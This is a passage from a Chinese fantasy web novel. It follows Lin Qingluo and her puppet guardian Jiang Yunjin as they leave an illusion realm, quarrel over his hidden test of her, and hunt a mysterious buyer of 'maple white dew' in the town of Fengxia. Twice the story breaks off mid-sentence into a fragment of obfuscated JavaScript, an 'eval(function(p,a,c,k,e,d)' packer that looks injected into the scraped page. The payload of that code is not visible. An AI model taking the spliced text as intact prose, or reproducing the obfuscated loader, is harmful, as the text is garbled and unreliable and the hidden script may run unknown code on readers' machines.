他并指从空中夹出一道灵刃,随手朝着林青萝挥去:“让我看看,你有什么办法伤到我!” 林青萝被灵刃的杀气锁定,僵在原地无法动弹,心念微动。 方才在练形图中,以陆家人的生机交换进去的法则反噬像是被打开了一个开关,在此时此刻,在无涯这具崭新的身体中,汹涌爆发。 无涯轻蔑的表情突然僵硬。 他清晰感受到体内涌动的灵力突然凝滞不动了。 不仅如此,一滴滴血从漆黑的双眼里流了出来,每根骨头都传来清脆的断裂声,反噬就像是数不清的无形刀剑,将这具身体从内部往外切开。 杀至林青萝颈间的灵刃因此削弱了几分杀气,被韩未得弹出的一枚石子击溃。 林青萝饶有兴致地盯着无涯被血水浸泡的双眼,嘴角的浅笑似纯粹的好奇,又似充满恶意:“八境可以逃脱法则反噬的绞杀吗?” 她话音刚落,无涯的皮肤上裂开了一条极细的血线。 这条血线像是植物疯长的根须,眨眼间长满了他全身上下。 一阵风吹过,无涯崭新的身体崩解成了残肢断骸,一块块往地面掉落。 一个新生的八境强者,连任何反抗的动作都没来得及做出,就在法则反噬之下悄然无声地死去了。 韩未得冷嘶了一口气,双手环抱着,抹了抹鸡皮疙瘩。 咔哒。 水晶棺里传出一声轻响。 方才那只小木偶举着一把石头打磨的钥匙从棺材里跳了出来,洋洋得意地来到韩未得脚下转圈。 “动作这么快啊。” 韩未得俯下身,赞许地摸了摸小木偶的头,“去,顺便给那些人开锁,对了,刚才我听见有人骂了我们,就别给他们开了。” 他话音一落,满脸绝望的人群终于回过神来。 “木偶大侠,我刚才可没骂你啊,求你快帮我解开吧!” “我也没骂!我可谁都没骂!” “还有我还有我,木偶大侠你快来我这边。” 林青萝看了眼双手负在身后,煞有介事地在人群前走来走去的小木偶,忍不住莞尔,转身往水晶棺走去。 江云烬拂落身上的锁链,迈步踏出了水晶棺。 “江云烬!” 林青萝朝他伸出手,笑眼弯弯,“走,我们可以离开这里了。咦,为什么无涯都死了,这个幻境还没消失?” 江云烬说:「因为我还有一件事情没做。」 他右手抬向空中,血色傀儡丝从掌心疯狂地生长了出来,无数根猩红的线条在蜃华殿中盘旋飞舞。 陆家人的血液与无涯的残肢断臂全都从地面浮了起来,像是被一双无形的手掌撕扯成了从下往上流淌的一帘血瀑,涌入傀儡丝中。 猩红线条中流动的光芒变得更加诡异森然。 林青萝错愕地看着傀儡丝从空中飘落,将她的匕首缠绕成茧。 陆家巫血的力量与无涯魂力混合在一起,尽数没入了匕首之中,一抹猩红在寒光凌厉的匕刃上缓缓泅开,流动、隐没又重现,仿佛活了过来。 蜃华殿,乃至整个无涯幻境都在此刻如一幅画卷般被人撕碎。 不断扩大的裂缝之外,一抹苍白的阳光正从暗域厚重而诡异的云层中透出了几缕,篝火余烬在不远处若隐若现。 江云烬认真地看着她。 「这把匕首,是我给你的第一份礼物。」 「八境亡魂之力可杀邪灵,巫血可让人一旦被匕首割伤,魂力就会消散,变得虚弱,血中也附着了陆家人的一部分力量。出去之后,七伤柱赋予你的力量就会消失,但这把匕首会永远陪着你。」 「不必学剑,它才最适合你。」 林青萝听着,垂眸注视手中的匕首,目光有些微妙。 说实话,这把匕首的力量的确是她需要的,让她很是喜欢,但总有一种奇怪的感觉萦绕在心中,让她觉得哪里不对劲。 “谢......” 林青萝道谢的话刚刚吐出第一个音,突然愣在原地。 江云烬怎么会知道自己身上拥有七伤柱的力量? 匕首的凉意传至指尖,林青萝的手指几不可察地蜷曲了一下。 她反复回想着江云烬刚才一气呵成的举动,仿佛早已为这一刻改造匕首做好了准备。 也想起在幻境中一直注视着自己的那道目光。 林青萝的笑意变得有些僵硬,竭力克制嗓音里的颤抖:“江云烬,你什么时候醒的?” 江云烬与她对视的目光并没有闪躲,他坦白道:「我至始至终从未昏迷过。」 林青萝眸光冷了下来,脸上没了笑容。 15. 第 15 章 幻境裂缝不断扩大,暗域在破碎之景中逐渐变得清晰。 苍白的日光穿透缝隙斜洒而下,在林青萝与江云烬之间分割出明暗交错的光影。 林青萝用无法理解,无法原谅的目光看着他。 他是她期待了一路的护身符,却暗自藏有置她于险境而不顾的计划。 这种危险让人越想越觉得毛骨悚然,就好像一场美梦刚刚睡醒,却发现自己正踩在薄薄的冰面上,下方的深渊里布满了自己亲手挑选的暗器。 江云烬语气平静而坦诚,认为作为一只经过理智分析而做出正确决定的偃甲巧械,不必懂得说一些好听的、委婉的话来为自己辩解。 「作为天字傀儡,天机阁在我诞生之日给出的唯一一条指令,是保护主人,无微不至,无不可为。我能为你提供的保护,可以是寸步不离陪在你身边,永远站在你身前,哪怕是一滴血也无法沾染在你身上。」 他说话间抬手,冰凉的指腹轻轻擦过林青萝脸颊,一股强大的力量温柔注入了她的身体,带走了她一路走到这里却隐忍不发的忐忑与紧张。 「但在你主动要让我教你学剑时,我认为,刚才说的那种保护就没有必要了。」 林青萝按捺着怒气,冷静的目光与他对视,犹如实质般穿透了那双漆黑的眼睛,分辨着他的话是出自真心还是假意。 片刻,林青萝的眸光闪动了几下,眼底酝酿的风雪隐约间偃旗息鼓。 江云烬继续说:「你迟早会步入流派的,今日发生的一切,不过是你早晚会遇到的历练。」 「你不需要我就能走到这里,而且这还不是你的极限,不是吗?」 林青萝定定地看着他,无法从对面那双幽邃的眼瞳中看出太多的情绪外泄,反而总是被他准确看穿心中最隐秘的野心。 “是。” 林青萝犹豫了一下,忽然间扬高声音,清澈的眼眸里亮起灼灼光彩,没有什么不敢承认的。 “如果不是因为离开幻境的路被无涯亡魂堵死,我会让那些算计我和我身边人的陆家人更痛苦一些,而不是死得这么容易。” 她刚才所做的,不过是让他们自食其果罢了,算什么教训。 江云烬点点头:「那你下一次尽管做得更大胆一些,我在这里,你怕什么。」 「你不会出事的。如果你真正遇到了需要帮助的那一刻,千山万水,我都赶得来。」 林青萝一怔。 她听着他平直的嗓音,心想,傀儡只是傀儡,声音里不会带有一丝人族的感情。 可是她的确听出了几分庄重许诺的意味。 林青萝安静了片刻,轻轻开口:“我明白你的意思了。” 她想,这一刻她总算不必通过同心牌去揣测江云烬的心思与忠诚,他想提供的保护,不是把她当一朵娇花一样呵护起来,而是为她兜底。 这样也不错。 她可不喜欢一直被人保护,不然会少了很多适应生存与变得更厉害的机会。 暗域的天光无遮无拦地洒落下来。 林青萝环顾四周,无涯幻境已经彻底消失了,笼罩在她身上的四道奖励也化作一缕光芒消散不见。 随之而来的,是一个凡人大量使用了原本不属于自己的力量之后的虚弱力竭。 林青萝脑海中一阵天旋地转,脚下的地面似乎都在塌陷,四周的人影与满地嶙峋的石柱在视线中全都变得扭曲虚幻,朝她扑来。 在她晕倒的那一刻,她隐约听见一阵整齐划一的马蹄声从远处传来,威风凛凛,雷鸣般撕破了压抑昏沉的暗域。 几片暗红的袖摆出现在天地一线间,随风鼓动。 是......赤刀? 在她身旁,几只木偶突然飞快地拽着一袭紫袍身影遁入地下,一路崩裂山石,卷起飞扬的尘埃。 滚动的尘埃巨蟒最后钻入了地下深处,消失不见。 . 枫峡。 流淌在如火红枫间的晨雾还未散尽,进城的路上已经人来人往。 这几日的枫峡热闹得让人咋舌,说着不同口音、身着各异服饰的外乡人将这个坐落于西境偏远之地的小镇挤得满满当当。 沿街的窗户一扇接一扇推开,摊点铺子也支了起来,街巷间吃茶的本地人左右瞧瞧那些街上那些形色匆忙的人群,也有了新鲜话题。 “奇怪,往年不是也有赤刀的选拔吗,也没见像今年这么热闹。你瞧那一个个的外乡人,戴着银铃与蛇骨的,穿一身大棉袄的,身后带着一大堆仆从的,还有衣着打扮比乞丐还寒酸的......怕不是隔了几个州的人都挤进咱这破地方了。” “那还不是因为第八席要来枫峡监督选拔事宜~他是从赤刀总部来的人,谁若是能跟他攀上关系,得到他的认可,说不定就能直接被他带去总部了。他的行踪瞒得紧,说不定人早就已经到了。” “第八席?哪尊大佛?” “就是赤刀荻首领唯一的那个弟子,十五岁破五境,十八岁跻身赤刀统领席位的聂非!他现在已经是六境了,才二十岁,前途无量!” “二十岁就已经六境了?那可是和荻首领一样天才啊!” “当真这么年轻?所以他到底是不是凭荻秋这层关系当上的第八席?” “听说不久前屠了春城的那群北斗恶徒里面,有个十六岁破了五境的「天狼」,那第八席岂不是比天狼还要厉害?” “哎哎哎,你这招灾的乌鸦嘴可别说那群煞星了,离咱们这儿最近的秋声野被暗域入侵,本就闹得人心惶惶,要是再惹来北斗那群恶魔,那就完蛋了。” 川流不息的人海中,少年身披破旧紫袍的身影毫不起眼。 他手里拿着一张羊皮地图,一路闲庭信步,走走看看,听听热闹,最终拐进了一间赌坊。 拥挤而嘈杂的赌坊里,乌木梁下悬着几盏灯笼,昏黄烛火在屏风上投映出一道道早已一无所有却越发疯狂的人影。 骰盅摇晃的声响中,时不时炸开赌徒们的兴奋狂叫声,刺得韩未得耳朵疼。 韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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青年听见身后的石门被人打开,头也没回,却知道是韩未得来了。 他不满地轻叹了声:“天狼,怎么比我晚了这么多天才来?身上还一股灰尘味,数月不见,这么狼狈?” 韩未得白了他一眼,随意往椅子上一坐。 他饿了一路,从果盘里揪下葡萄塞嘴里,含糊回答:“你叹什么气啊?玉衡,我是来枫峡看热闹的,又不是来帮你的。” “你这种话说出口,显得我们很像一盘散沙。” 代号「玉衡」的青年看着韩未得饿死鬼一般的模样,十分嫌弃地摇摇头,优雅地斟了一杯茶递过去。 他嗓音含笑,却透着漠然,“况且一场赤刀选拔而已,年年一个样,算什么热闹。” 韩未得眉梢微挑。 他回想起紫衣白发的少女,煞有介事地摇头长叹了一声,引得青年放下茶杯,古怪地瞥了他一眼。 “赤刀在前,诸邪让路。” 韩未得不怀好意地盯着青年笑了下,拖长的尾音里带着一丝戏谑与期待,嗓音幽幽,继续说道, “可如果赤刀里混进了一个拥有邪灵力量的人呢?” 16. 第 16 章 晨曦穿过花窗,碎金满地。 林青萝睁眼的刹那,下意识抬手挡住刺眼的日光。 惺忪的睡眼透过指缝看见了陌生的屋顶,柔软蓬松的被子,以及......一张侧脸。 她身边竟然还躺着一个人?! 林青萝尖叫一声,当即惊恐地甩开了自己抱着的那条胳膊,从床上弹坐起来,惊魂未定地朝那人看去。 等等......江云烬? 林青萝长舒了一口气,意识到是江云烬的刹那,脸上却微微一红。 她深呼吸着,心说这只是一只傀儡。 但这只傀儡是真的很好看啊。 眉目俊朗,青松覆雪,额前的碎发在晨曦中微微拂动,泛着橘金色的微芒。衣袖紧贴的肌肉线条流畅有力,蛰伏着难以估量的力量。 云纹腰带之类的这些细节还是她在付钱的时候亲自选的,刚好勾勒出劲瘦的腰身。 唉,都怪千机阁把傀儡做得这么漂亮。林青萝握了握拳。 「你没对我做什么。」 江云烬突然传来的声音把林青萝拉回了神,他安安静静地躺在床上,眨了下眼。 「只不过我把你放在床上之后,你非要抱着我的手臂睡觉。」 林青萝目光闪躲,忍不住朝他投去诧异的一瞥,刚刚调整好的呼吸又乱了几拍。 有这回事......吗? 「我试着把手抽出来,但你立刻又把我拽回去了。」 「虽说傀儡可以在跪在床边任你抱着胳膊抱一晚上,但我觉得你拽着我胳膊的姿势不太方便,所以我也躺下来了。」 林青萝手忙脚乱要从床上跳下去的动作忽然停下,震撼地问出声:“我抱着你睡了一晚上都没醒?” 她从小就容易受到惊吓,譬如万籁俱静的夜里,突然响起的风雨、更声、虫鸣鸟叫、霜雪催枝,就会让她惊醒,她因此很少睡过安稳觉。 爹娘曾请来很厉害的医者替她诊断过,说是魂力有损的缘故。 许多沉甸甸的谈话声伴随着爹娘的愁容在林青萝脑海中重现,林青萝垂下眼,眸光暗淡,努力让所有的情绪都平静下来。 她用余光扫了江云烬一眼,不得不承认,江云烬身上的气息的确让她觉得亲切又安全,神奇地抚平了一切焦虑与不安。 这一晚这是她从小到大睡过的为数不多的安稳觉之一。 江云烬还在有求必应地回答她的疑惑,十分平静:「没醒。不仅没醒,还夸我像你家的火玉床一样暖和。」 「还把腿搭在我身上,还好我是傀儡,腿不会麻。」 “啊啊啊别说了!” 林青萝捂住了江云烬的嘴巴之后才意识到自己的失态,飞快地摸出几块青玄铁和雪木晶塞进他嘴里,温柔体贴地换了个话题:“江云烬,你守了我一晚上一定很辛苦,大清早的也肯定饿了吧,先吃点东西,够不够?不够我再去拿。” 江云烬:...... 令人头皮发麻的咀嚼声在林青萝笑盈盈的注视之下,老老实实地响起。 江云烬边吃边想,原来这就是活该的意思吗? 但她刚才的反应......有点可爱。 林青萝突然想到什么,打断了他痛苦的进食:“我在暗域晕倒的时候,好像看见了赤刀的人,真的是他们吗?我们现在就在枫峡?” 江云烬面无表情地吞下最后一口堵在喉咙里的雪木晶,起身把林青萝拉到妆台前坐下,拿起梳子,平静地叙述:「是的,赤刀有人预占到了枫峡之中会有邪灵降临,所以派人在枫峡方圆十里内值巡,恰好遇见了刚刚从无涯幻境里出来的所有人。」 林青萝突然间就想起爹娘,想起为刃,无论晴澜州出现何种危机,他们总会及时站在州城之前。 她感叹道:“难怪我爹和荻首领惺惺相惜,赤刀与为刃一样,都是人族州城合格的守护者。” 江云烬听到这句评价,眼底浮现一丝轻嘲,却没多说什么。 他抬手从林青萝颈侧带走一束凌乱的雪发,继续说:「赤刀把大家接进了枫峡,还安排了集中落脚的地方,但我认为你应该更喜欢这里,安静些。」 闻言,林青萝拧了拧眉。 江云烬从铜镜里瞧见她的不安,补充:「我在那些从幻境里出来的人身上留了点东西,他们不会记得戏弄陆家和无涯亡魂的你长什么样子。」 林青萝松了一口气,又高兴了起来。 这种事事周全的妥帖与不言而喻的默契,毫无疑问取悦了她。 有江云烬在,真好啊。 林青萝满意极了,随手拨了拨妆台上的发簪,余光瞥见什么,突然轻轻咦了一声。 在她白皙光洁的手臂上,居然有一道浅淡的红痕。 就像是被什么危险又强势的东西紧紧攥住之后留下的蛛丝马迹。 譬如,蛇,或者——古怪的触手? “奇怪,我手上怎么会有这种痕迹?” 少女早已变得对一切可疑的迹象都异常敏感,她立刻严肃起来,摸了摸自己手臂上的红痕,目光微冷,飞快地思索着它的来历。 江云烬看见这一幕,心里咯噔了一下。 他的记忆总是反复变得残缺,没办法完全想起林青萝到底是谁,但只要触碰到她,就会下意识地亲近。 更何况是她睡在他怀里的距离。 然后...... 他就无法维持现在的外形,藏起来的触手会在欢愉与兴奋中忘记什么是克制,想要贪婪地抓住她,包裹她。 就像小猫小狗撒欢时忍不住翘起尾巴一样。 下次要轻点一点才行。江云烬心想,但又觉得自己是克制不住力道的,不如记得把痕迹处理干净。 他没有让自己为林青萝梳妆的动作出现一丝慌乱,找好了借口:「你当时突然晕过去,我被吓到了,所以抓住你手臂的时候用力了些,抱歉。」 “是吗?” 林青萝将信将疑,因为小时候曾有过相似经历的缘故,对这道痕迹的态度格外谨慎。 「嗯。」 江云烬很快就替林青萝梳好了头发,轻轻碰了碰紫蝴蝶发簪,流苏摇晃闪烁,示意她看。 林青萝对着镜子左右瞧瞧,摸了摸两条低垂的马尾,显而易见,十分喜欢。 她打趣道:“天字傀儡什么都学吗?” 江云烬摇头:「天字傀儡只是喜欢看蝴蝶。」 林青萝愣了一下,突然抬手捂住脸,缓缓地埋头趴在妆台上,肩膀微微抖动,像是在竭力憋着笑。 半晌,她一脸严肃地抬起头,清了清嗓子:“走吧,让我们查查那个一定要杀我的人究竟是什么来历。” 赤刀的选拔还有几天才开启,她在无涯幻境里耽误了时间,再不去找线索,那人说不定都已经离开了。 江云烬跟在她身后,眉梢微挑:「你已经想好怎么把他揪出来了?」 淡紫色的裙摆扫过地面的光影,林青萝推门走下客栈的楼梯,两条低垂的马尾随着她轻快的脚步在空中扬起,像是纯白的蝶翼。 她轻轻回答:“我只是刚刚才想明白,那人为什么要来枫峡。” 江云烬顺着她的目光看过去,客栈外,街道两侧的枫叶烈烈如火,外界罕见的千年丹枫在这里却并不算稀奇。 一棵千年丹枫树皮皲裂,微微泛白。 那种裂痕之中,本应该有些许汁液从裂缝中流淌下来,凝结成秋霜般清冷的泪滴。 名为枫白露。 谁能想到枫峡这样一个偏僻小城,偏偏长了不少千年丹枫,盛产枫白露。 为刃的一砖一瓦全都化为灰烬的那一刻,林青萝亲眼看见林浮白的流火剑气从酷烈的火海中爆发而出,以燃尽自身与为刃所有亡魂的惨烈方式,横扫了整个晴澜城。 被流火剑气所伤,伤口永不会愈合,除非连续半年用枫白露清洗伤口,才能剔除净骨骼里的残余剑气。 林青萝微笑着走出客栈,沐浴在阳光下。 “那个凶手不是想斩草除根么?那我就让他看看,究竟是谁会被连根拔起。” . 城北,回春堂。 半旧的青布门帘被铜钩斜斜挑起,空气里弥漫着沉甸甸的苦涩药香。 枫峡这几日人来人往。 年轻气盛又拥有力量的人多了,闹出的打架斗殴事件也多,城里几家药铺医馆的生意好得不行,回春堂的伙计各个喜上眉梢,唯有李掌柜愁眉不展。 “爹,你管那买主是什么人,只要他爽快给钱就成,现在钱都已经到手了,你还不高兴呐?” 李泗笑得咧开了嘴,他拉着烦躁转圈的李掌柜走到后堂,压低声音比了个数,“那可是八千两黄金!” 李掌柜背着手,恨铁不成钢地瞪了他一眼,一想起那个阴气森森的神秘买主,就后颈发凉。 他看着李泗嬉皮笑脸的模样,越想越来气,抄起捣药的杵臼就要打他:“只要钱,不要命?!我怎么就生了你这么个掉钱眼里的蠢货?那些枫白露到底值不值这个钱,你心里没点谱?我这几日越想越害怕,早知道当初就不该任由你跟那个人做生意。” 枫白露只有千年丹枫才能凝结,看似稀奇无比,实际上它最常见的作用不过是修补偃甲巧械的裂缝,因为功效单一且替代品众多,常年低价无人问津。 哪知就在半个月前,整个枫峡的枫白露都被一个神秘的买主给买走了,连那些残次的碎渣都要,树上的枫白露也让人一夜之间全刮走了。 枫峡大大小小的药铺和医馆现在全都没货,就剩下回春堂还能搞到点货源。 李泗猫着腰从李掌柜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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普通人对那些沾了流派力量的人或物件,大多有些惧怕,李掌柜说话的声音也放轻了些,引着林青萝往前堂走:“你这小姑娘,怎么溜进后堂来了?走走走,出去说话,当心碰倒了我的药材。” 林青萝却站着没动,她张了张嘴,似乎顾虑着什么,欲言又止。 李掌柜狐疑地眯起了眼:“姑娘,你到底要买什么?” 林青萝指了指江云烬,像是下了很大决心一般,鼓起勇气说道:“枫白露。” 李掌柜脸色微变。 林青萝看在眼里,继续说:“不瞒李掌柜,我是被仇家追杀才躲到了这里,他是保护我的傀儡,可是你看他,到处都受了伤,如果不及时修补,就会烂成一堆破铜废铁的。我问过好多家铺子了,都说枫峡没有别的可以修补偃甲巧械的东西,只有枫白露。” 李掌柜盯着柔弱胆怯的少女,单凭一句“被仇家追杀”就能想象到她的无助,目光变得复杂无比。 不是他不想卖枫白露给她,是那东西本就稀少,负责接货的人次次都会把数量反反复复的清点核对,一点也匀不出来了。 林青萝上前拽住了他的衣袖,水润的眼瞳里满是恳求与着急:“李伯,没有枫白露修补我的傀儡,我走不出枫峡。求求你了,不管你开多少钱都行,我把我身上的钱都给你,要是不够,我留在你的药铺里给你干活也成。” 少女说着,像是强忍着无人能理解的难处,微微垂首,那模样让李掌柜心里生出一股不忍。 “姑娘,你若是来得早一些,倒是没问题。”李掌柜突然意识到什么,急声问,“你怎么找上我这里的?” 林青萝逃出晴澜州的这一路上,与人说话大多是半真半假,连猜带编,也最清楚如何让人对她放松警惕。 她的语气老老实实的,让人完全听不出有假:“我昨日在河边抓鱼的时候听说回春堂......听说有人这些天在高价出售枫白露。” 李掌柜脸色一变。 是他雇的那些运货的船夫? 惊慌之下,李掌柜脱口而出:“他们明明发过毒誓不外传的!” “什么?” 林青萝露出疑惑的目光,似乎没听清他又急又怕说出的这句话,半晌才猛然意识到了什么,低下声,恳切又可怜,再逼一步。 “李伯,请你匀一点给我就好,只要一点点,买主应该不会知道的,行吗?我发誓什么都不会说出去的。” 李掌柜意识到自己差点说漏嘴,眼神飘向别处,稳住了心神才看回林青萝,叹了声气:“小姑娘,我每一批枫白露的数量,买主的人都会亲自来点货接货,所以我真的没办法帮你。但我要提醒你,一定不能再把刚才的话和任何人说,否则会有性命之忧。” 林青萝像是被他严肃的叮嘱声吓坏了,赶紧点点头,告辞离开了回春堂。 从药铺带出的苦涩药味很快被风吹散,林青萝与江云烬对视一眼,目光有些凝重。 他们在暗域耽搁了太久,那个幕后之人果然已经走了。 现在......怎么办?